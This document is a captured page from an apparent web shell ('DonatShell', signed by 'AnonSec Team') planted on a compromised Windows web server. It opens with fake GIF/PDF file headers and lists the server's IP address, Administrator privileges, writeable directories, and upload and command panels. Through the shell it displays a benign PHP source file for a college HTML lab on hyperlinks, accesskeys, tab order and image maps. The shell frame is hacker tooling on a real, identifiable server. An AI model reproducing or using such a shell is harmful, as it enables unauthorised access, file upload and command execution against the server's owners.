GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1021/Labs/Lab02/Lab03/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1021/Labs/Lab02/Lab03/Lab03.phpinc
<?
// JimMartinson/CST1021/Labs/Lab04/Lab04.phpinc

$css .= ',colorCode.css';
require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

$disabled = '';
$disabled = ' disabled'; // Comment this line to enable lab.

?>
<fieldset><legend>Description</legend>
	The purpose of this lab is to demonstrate your ability to use links on a web page.
	<br>
	This lab will require you to make two web pages.
	<br>
	<span class="note normal">
		You may add minimal tags (<span class="highELE">br</span>, <span class="highELE">p</span>, <span class="highELE">span</span>, etc...) as you see fit to create these pages.
		<br>
		This lab has a lot of steps, some of them are complex. Be sure to test your pages to ensure the links work as required.
	</span>
	<br>
	<span class="warning">
		WARNING! You must use <b>Firefox</b> for the shortcuts to work properly (Using alt-shift-letter).
		The Chrome browser (And Edge, since it is based on Chrome now) has broken some shortcut letters. e.g. alt-shift-b now works as alt-b and alt-shift-t now works as alt-t.
		<br>You can find out more about accesskey support at <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/accesskey">MDN Web Docs - accesskey</a>.
	</span>
	<br>My appologies for not putting this lab online on Wednesday -- Jim.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<fieldset><legend><?=$evaluationType?> Instruction</legend>
<ol id="main" class="count">
	<!-- Step 1 -->
	<li>Create a folder for this <?=strtolower($evaluationType)?> named <b class="copyText"><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.</li>
	<!-- Step 2 -->
	<li class="css">Download <b><a href="<?=$evaluationName?>.css" onMouseOver="ttShow('Click to download.')" onMouseOut="ttHide();"><?=$evaluationName?>.css</a></b> and save it in your <b><?=$evaluationName?></b> folder.</li>
	<!-- Step 3 -->
	<li class="pageA">Create a web page.
		<br><span class="note normal">Any needed css may be inline, internal, or external.</span>
		<ol>
			<li>Name the file <b class="copyText"><?=$saveFileName_A?>.html</b>.</li>
			<li>The page must contain the foundation tags. <a href="#notes" class="smaller">See notes</a></li>
		</ol>
	</li>
	<!-- Step 4 -->
	<li class="pageA">Place the following in the <span class="highELE">head</span> of your page: <a href="#notes" class="smaller">See notes</a>
		<ol type="a">
			<li>Title the page <span-content class="copyText"><?=$pageTitle_A?></span-content>.</li>
			<li>Add the meta character set tag.</li>
			<li>Add a link tag to the <span class="highVAL"><span class="copyText"><?=$evaluationName?>.css</span></span> css file.</li>
		</ol>
	</li>
	<!-- Step 5 -->
	<li class="pageA">Place an <span class="highELE">h1</span> heading tag as the first element in the <span class="highELE">body</span>. Set the innerHTML to the same content as the <span class="highELE">title</span> above.</li>
	<!-- Step 6 -->
	<li class="pageA">Add a hyperlink to the <span class="highELE">body</span> that will go to your second page: <span class="note">A hyperlink is created by the <span class="highELE">a</span> tag.</span> <span class="note">This is Link 1.</span>
		<ol>
			<li>Save this image <img src="images/handRight.png" width="115" height="55" alt="Hand pointing right"> in your <b><?=$evaluationName?></b> folder.</li>
			<li>The hyperlink must go to the <span class="copyText highVAL"><?=$saveFileName_B?>.html</span> page. <span class="note">hyperlink URL is defined by the <span class="highATT">href</span> attribute.</span></li>
			<li>Set a shortcut of <span class="copyText highVAL">n</span>. <span class="note">shortcuts are set using the <span class="highATT">accesskey</span> attribute.</span></li>
			<li>Set the tab order to <span class="copyText highVAL">4</span>. <span class="note">the tab order is set using the <span class="highATT">tabindex</span> attribute.</span></li>
			<li>Set the <span class="copyText highATT">class</span> attribute value to <span class="copyText highVAL">page</span></li>
			<li>The hyperlink innerHTML must contain:
				<ol>
					<li>The text <b class="copyText highINH">Next</b></li>
					<li>The image above. Set the image <span class="copyText highATT">alt</span> to <span class="copyText highVAL">Hand pointing right</span>.
					</li>
				</ol>
			</li>
		</ol>
	</li>
	<!-- Step 7 -->
	<li class="pageA">Add a hyperlink to the <span class="highELE">body</span>  that will go to the bottom of your second page: <span class="note">This is Link 2.</span>
		<ol>
			<li>Place a hyperlink with the text <span class="highINH copyText">Bottom of Page 2</span> that goes to the <span class="highVAL">bottom</span> anchor on the <span class="copyText highVAL"><?=$saveFileName_B?>.html</span> page.
				<span class="note">To jump to an anchor on a page, add a pound sign (<span class="highVAL">#</span>) and the name of the anchor to the end of the URL in the <span class="copyText highATT">href</span>'s value.</span>
			</li>
			<li>Set a shortcut of <span class="copyText highVAL">b</span>.</li>
			<li>Set the tab order to <span class="copyText highVAL">3</span>.</li>
		</ol>
	</li>
	<!-- Step 8 -->
	<li class="pageA">Add a hyperlink to the <span class="highELE">body</span> that will open your second page in a new tab or window: <span class="note">This is Link 3.</span>
		<ol>
			<li>Place a hyperlink with the text <span class="highINH copyText">Page 2 in a new window</span> that opens <span class="highVAL copyText"><?=$saveFileName_B?>.html</span> in a new window.
				<span class="note nowrap">This is done with the <span class="copyText"><span class="highATT">target=<span class="highVAL">"_blank"</span></span></span> attribute</span>
			</li>
			<li>Set a shortcut of <span class="copyText highVAL">o</span> <span class="note"><ins title="Added 9/30/2021">This is a lowercase letter o.</ins></span>.</li>
			<li>Set the tab order to <span class="copyText highVAL">2</span>.</li>
		</ol>
	</li>
	<!-- Step 9 -->
	<li class="pageA">Add a hyperlink to the <span class="highELE">body</span> that will go to the <?=$courseNumber?> home page: <span class="note">This is Link 4.</span>
		<ol>
			<li>Place a hyperlink with the text <span class="highINH copyText">Class homepage</span> that opens <span class="highVAL copyText">http://<?=$_SERVER['SERVER_NAME']?>/<?=$Instructor['Path']?>/<?=$courseNumber?></span>.</li>
			<li>Set a shortcut of <span class="copyText highVAL">c</span>.</li>
			<li>Set the tab order to <span class="copyText highVAL">1</span>.</li>
		</ol>
		<div id="show_page_a" class="inline"><a href="#" onClick="divHide('show_page_a'); divShow('hide_page_a'); return false;">See an example of the first page:</a></div>
			<div id="hide_page_a" class="hidden"><a href="#" onClick="divHide('hide_page_a'); divShowInline('show_page_a'); return false;">Hide the example.</a>
			<? require('common/Browser/Browser.phpinc'); BrowserBegin($pageTitle_A,'file:///'.$courseNumber.'/JimMartinson_Lab03_A.html',822); ?>
			<img src="images/example1.png" alt="Example of JimMartinson_Lab03_A.html page">
			<? BrowserEnd(); ?>
		</div>
	</li>
	<!-- Step 10 -->
	<li class="pageB">Create a second web page.
		<ol>
			<li>Name the file <b class="copyText"><?=$saveFileName_B?>.html</b>.</li>
			<li>The page must contain the foundation tags. <a href="#notes" class="smaller">See notes</a></li>
		</ol>
	</li>
	<!-- Step 11 -->
	<li class="pageB">Place the following in the <span class="highELE">head</span> of your page: <a href="#notes" class="smaller">See notes</a>
		<ol type="a">
			<li>Title the page <span-content class="copyText"><?=$pageTitle_B?></span-content>.</li>
			<li>Add the meta character set tag.</li>
			<li>Add a link tag to the <span class="highVAL"><span class="copyText"><?=$evaluationName?>.css</span></span> css file.</li>
		</ol>
	</li>
	<!-- Step 12 -->
	<li class="pageB">Place an <span class="highELE">h1</span> heading tag as the first element in the <span class="highELE">body</span>.
		<ol>
			<li>Set the innerHTML to the same content as the <span class="highELE">title</span> above.</li>
			<li>Add an anchor named <span class="copyText highVAL">top</span>.
				<span class="note">This is done with the <span class="copyText highATT">id</span> attribute.
					<span class="nowrap">Anchors like this are used as locations on the page that can be jumped to with a hyperlink.</span></span>
			</li>
		</ol>
	</li>
	<!-- Step 13 -->
	<li class="pageB">Add a hyperlink to the <span class="highELE">body</span> that goes back to your first page: <span class="note">This is Link 1.</span>
		<ol>
			<li>Save this image <img src="images/handLeft.png" width="115" height="55" alt="Hand pointing left"> in your <b><?=$evaluationName?></b> folder.</li>
			<li>The hyperlink must go to the <span class="copyText highVAL"><?=$saveFileName_A?>.html</span> page.</li>
			<li>Set a shortcut of <span class="copyText highVAL">p</span>.</li>
			<li>Set the tab order to <span class="copyText highVAL">1</span>.</li>
			<li>Set the <span class="copyText highATT">class</span> attribute value to <span class="copyText highVAL">page</span></li>
			<li>The hyperlink innerHTML must contain:
				<ol>
					<li>The image above. Set the image <span class="copyText highATT">alt</span> to <span class="copyText highVAL">Hand pointing left</span>.</li>
					<li>The text <b class="copyText highINH">Previous</b></li>
				</ol>
			</li>
		</ol>
	</li>
	<!-- Step 14 -->
	<li class="pageB">Add a hyperlink to the <span class="highELE">body</span> that goes to the bottom of the page: <span class="note">This is Link 2.</span>
		<ol>
			<li>The hyperlink must go to the <span class="copyText highVAL">bottom</span> anchor.
				<span class="note">To jump to an anchor on the same page, The URL only needs the pound sign (<span class="highVAL">#</span>) and the name of the anchor.</span>
			</li>
			<li>Set a shortcut of <span class="copyText highVAL">b</span>.</li>
			<li>Set the tab order to <span class="copyText highVAL">2</span>.</li>
			<li>The hyperlink innerHTML must contain <span class="highINH copyText">Bottom of Page</span>.</li>
		</ol>
	</li>
	<!-- Step 15 -->
	<li class="pageB">Add an image and image map to the <span class="highELE">body</span>: <span class="note">These will be Links 3, 4, and 5.</span>
		<ol>
			<li>Save the following image in your <b><?=$evaluationName?></b> folder:
				<br><img src="images/search.png" width="450" height="200" alt="Search sites" style="border: 1px solid silver;">
			</li>
			<li>Add the image to your page.
				<ol>
					<li>The image <span class="copyText highATT">width</span> is <span class="copyText highATT">450</span> px.</li>
					<li>The image <span class="copyText highATT">height</span> is <span class="copyText highATT">200</span> px.</li>
					<li>Set the image <span class="copyText highATT">alt</span> to <span class="copyText highVAL">Search sites</span>.</li>
					<li>Set the image to use the map below.
						<span class="note nowrap">This is done with the <span class="copyText highATT">usemap</span> attribute.</span>
						<span class="note nowrap">The <span class="copyText highATT">usemap</span> attribute value must begin with a <span class="copyText highVAL">#</span>.</span>
					</li>
				</ol>
			</li>
			<li>Add a <span class="highELE">map</span> element below the image.
				<br>Create the following <span class="highELE">area</span> elements in the <span class="highELE">map</span>:
				<ol>
					<li>The <b>bing</b> part of the image links to <b><a href="https://www.bing.com">https://www.bing.com</a></b> and be a rectangular area.
						Give the <span class="highELE">area</span> <span class="copyText highATT">alt</span> and <span class="copyText highATT">title</span> attributes with the value of <span class="copyText highVAL">Search with Bing.</span>.
					</li>
					<li>The <b>Google</b> part of the image links to <b><a href="https://www.google.com">https://www.google.com</a></b> and be a rectangular area.
						Give the <span class="highELE">area</span> <span class="copyText highATT">alt</span> and <span class="copyText highATT">title</span>  attributes with the value of <span class="copyText highVAL">Search with Google.</span>.
					</li>
					<li>The <b>Y!</b> part of the image links to <b><a href="https://www.yahoo.com">https://www.yahoo.com</a></b> and be a circular area.
						Give the <span class="highELE">area</span> <span class="copyText highATT">alt</span> and <span class="copyText highATT">title</span>  attributes with the value of <span class="copyText highVAL">Search with Yahoo!</span>.
					</li>
					<li>Set the tab orders to <span class="copyText highVAL">3</span>, <span class="copyText highVAL">4</span>, and <span class="copyText highVAL">5</span>.</li>
				</ol>
				<ins title="Added 9/30/2021">The alt attribute requirement was added on 2021-09-30.</ins>
			</li>
			<li>Insert some filler text on the page.
				There must be enough filler text to cause the window to scroll.
				This is needed to demonstrate the <span class="highVAL">top</span> and <span class="highVAL">bottom</span> anchors effectively.
			</li>
		</ol>
	</li>
	<!-- Step 16 -->
	<li class="pageB">Add a hyperlink at the bottom of the <span class="highELE">body</span> that goes to the top of the page: <span class="note">This is Link 6.</span>
		<ol>
			<li>The hyperlink must go to the <span class="copyText highVAL">top</span> anchor.</li>
			<li>Set a shortcut of <span class="copyText highVAL">t</span>.</li>
			<li>Set the tab order to <span class="copyText highVAL">6</span>.</li>
			<li>The hyperlink innerHTML must contain <span class="highINH copyText">Top of Page</span>.</li>
			<li>Add an anchor named <span class="copyText highVAL">bottom</span>.</li>
		</ol>
		<div id="show_page_b" class="inline"><a href="#" onClick="divHide('show_page_b'); divShow('hide_page_b'); return false;">See an example of the second page:</a></div>
			<div id="hide_page_b" class="hidden"><a href="#" onClick="divHide('hide_page_b'); divShowInline('show_page_b'); return false;">Hide the example.</a>
			<? BrowserBegin($pageTitle_B,'file:///'.$courseNumber.'/JimMartinson_Lab03_B.html',822); ?>
			<img src="images/example2.png" alt="Example of JimMartinson_Lab03_B.html page">
			<? BrowserEnd(); ?>
		</div>
	</li>
	<!-- Step 17 -->
  <li class="">Turn in your assignment:
		<ol type="a">
			<li>Make sure the following files are in your <b><?=$evaluationName?></b> folder:
				<ol type="a">
					<li><?=$saveFileName_A?>.html</li>
					<li><?=$saveFileName_B?>.html</li>
					<li><?=$evaluationName?>.css</li>
					<li>handRight.png</li>
					<li>handLeft.png</li>
					<li>search.png</li>
				</ol>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
  </li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<?
require('../LabNotes.phpinc');
$PartialGradingCriteria = '
-assignmentPoints if the <a href="https://jigsaw.w3.org/css-validator/validator.html.en#validate_by_input">CSS Validation Service</a> or <a href="https://validator.w3.org/#validate_by_input">Markup Validation Service</a> report errors.
No further grading will be done.
<table>
	<tr>
		<th>Criteria</th>
		<th class="right">Points</th>
	</tr>
	<tr>
		<td>Links are correct.</td>
		<td class="number">10</td>
	</tr>
	<tr>
		<td>Link tab order and shortcuts are correct.</td>
		<td class="number">6</td>
	</tr>
	<tr>
		<td>Image map is correct.</td>
		<td class="number">6</td>
	</tr>
	<tr>
		<td>Anchors are correct and in correct location.</td>
		<td class="number">4</td>
	</tr>
	<tr>
		<td>HTML is well formatted and follows lab requirements.<br><span class="note">Do not add any additional code or styling other than what is required by the lab.
			<br>I will deduct points for additional code or styling that are or cause problems.</span></td>
		<td class="number">4</td>
	</tr>
	<tr>
		<th class="right">Total:</th>
		<th class="bold number">assignmentPoints</th>
	</tr>
</table>
';
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team